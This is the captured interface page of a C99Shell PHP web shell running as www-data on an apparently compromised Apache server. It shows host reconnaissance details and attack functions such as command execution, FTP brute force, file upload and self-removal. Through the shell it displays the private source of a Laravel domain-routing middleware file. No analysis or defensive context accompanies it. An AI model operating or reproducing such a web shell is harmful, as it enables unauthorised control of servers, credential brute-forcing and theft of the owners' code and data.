!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/app/Http/Middleware/   drwxr-xr-x
Free 13.31 GB of 57.97 GB (22.97%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Domain.php (1.91 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Middleware;

use 
Closure;
use 
Illuminate\Http\Request;
use 
Cache;
use 
Session;
use 
DB;
class 
Domain
{

    public static 
$domain;
    public static 
$full_domain;
    public static 
$autoload_static_data;
    public static 
$position;
    
/**
     * Handle an incoming request.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  \Closure  $next
     * @return mixed
     */
    
public function handle(Request $requestClosure $next)
    {
        
$domain=\Request::getHost();
        
$full_domainurl('/');


        
Domain::$domain=$domain;
        
Domain::$full_domain=$full_domain;
        
        
        if (
$full_domain==env('APP_URL') || $full_domain==env('APP_URL_WITHOUT_WWW')) {
            return 
$next($request);
        }
        if (
$domain==env('APP_PROTOCOLESS_URL') || str_replace('www.','',$domain)==env('APP_PROTOCOLESS_URL')) {
            return 
$next($request);
        }
    
       
                
        
$domain=str_replace('www.','',$domain);
        
Domain::$domain=$domain;
        if (!
Cache::has(Domain::$domain)) {

            
$value Cache::remember(Domain::$domain300,function () {
                
$data=\App\Domain::where('domain',Domain::$domain)->where('will_expire','>',now())->where('status',1)->with('theme')->first();
                if (empty(
$data)) {
                    
abort(401);
                }
                
                
$info['domain_id']=$data->id;
                
$info['user_id']=$data->user_id;
                
$info['domain_name']= Domain::$domain;
                
$info['full_domain']= Domain::$full_domain;
                
$info['view_path']=$data->theme->src_path;
                
$info['asset_path']=$data->theme->asset_path;
                
$info['shop_type']=$data->shop_type;
                
$info['plan']=json_decode($data->data);
                return 
$info;
            });
        }
        return 
$next($request);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--